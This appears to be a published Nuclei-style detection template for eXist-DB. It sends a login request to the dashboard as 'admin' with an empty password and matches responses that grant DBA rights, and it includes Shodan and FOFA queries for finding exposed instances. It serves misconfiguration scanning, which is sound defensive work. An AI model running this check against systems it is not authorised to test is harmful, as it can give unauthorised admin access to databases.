exist-db-dashboard-access: eXist-DB Dashboard Access

2026-01-16 exist db dashboard access PoC Public

Description

Detects eXist DB dashboard login endpoint access. eXist DB is a document-oriented database that allows you to store and query XML data. The dashboard is a web interface that allows you to manage the database and view the data.

PoC

id: exist-db-dashboard-access

info:
  name: eXist-DB Dashboard Access
  author: ritikchaddha
  severity: high
  description: Detects eXist DB dashboard login endpoint access. eXist DB is a document-oriented database that allows you to store and query XML data. The dashboard is a web interface that allows you to manage the database and view the data.
  reference:
    - https://exist-db.org/
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"eXist db"
    fofa-query: title="eXist db"
  tags: misconfig,exist-db,dashboard,login,exposure,vuln

variables:
  username: "admin"

http:
  - raw:
      - |
        POST /exist/apps/dashboard/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password=

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'user"\s*:\s*"admin"'
          - 'dba"\s*:\s*"true"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/xml"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206637c04f76e890485dfbe092568ab27ead7bf6a917336fa6d5be850bf5d1bb47022100eb863c9992ee8e9f9d0e952e17b7f15dcff377f1cd9bf1526f9c64590aa03cc7:922c64590222798bb761d5b6d8e72950

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